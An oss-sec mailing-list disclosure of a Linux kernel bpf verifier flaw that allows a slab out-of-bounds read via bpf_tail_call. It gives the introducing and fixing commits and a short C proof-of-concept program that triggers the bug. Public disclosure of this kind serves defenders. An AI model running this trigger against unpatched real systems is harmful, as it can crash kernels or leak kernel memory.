oss-sec mailing list archives
Linux kernel slab-out-of-bound read in bpf
From: Hsin-Wei Hung <hsinweih () uci edu>
Date: Fri, 26 Aug 2022 07:07:36 +0800
Hi, We found an issue in the bpf subsystem of the Linux kernel that can cause a slab-out-of-bound read. A bpf program calling bpf_tail_call with an index larger than the max_entries can potentially pass the verifier. After that, it will cause an out-of-bound access in the x86 JIT compiler. The root cause is that tnum_range over-approximates the range of concrete values. Affected kernel starts from v5.5 since commit, d2e4c1e6c294 (“bpf: Constant map key tracking for prog array pokes”) It has been fixed in commit, a657182a5c51 ("bpf: Don't use tnum_range on array range checking for poke descriptors") in bpf/bpf.git. The following code is a bpf PoC that can trigger the bug. #include "/usr/local/include/vmlinux.h" #include "/usr/include/bpf/bpf_helpers.h" #define __uint(name, val) int (*name)[val] #define __type(name, val) typeof(val) *name #define __array(name, val) typeof(val) *name[] #define SEC(name) \ _Pragma("GCC diagnostic push") \ _Pragma("GCC diagnostic ignored \"-Wignored-attributes\"") \ __attribute__((section(name), used)) \ _Pragma("GCC diagnostic pop") #define DEFINE_BPF_MAP(the_map, TypeOfMap, MapFlags, TypeOfKey, TypeOfValue, MaxEntries) \ struct { \ __uint(type, TypeOfMap); \ __uint(map_flags, (MapFlags)); \ __uint(max_entries, (MaxEntries)); \ __type(key, TypeOfKey); \ __type(value, TypeOfValue); \ } the_map SEC(".maps"); DEFINE_BPF_MAP(map_0, BPF_MAP_TYPE_PROG_ARRAY, 0, uint32_t, uint32_t, 36); SEC("cgroup/sock_create") int func(struct bpf_sock *ctx) { int64_t v0 = 49; bpf_tail_call(ctx, &map_0, v0); return 0; } char _license[] SEC("license") = "GPL"; Thanks, Hsin-Wei
Current thread:
- Linux kernel slab-out-of-bound read in bpf Hsin-Wei Hung (Aug 25)
- Re: Linux kernel slab-out-of-bound read in bpf Hsin-Wei Hung (Aug 26)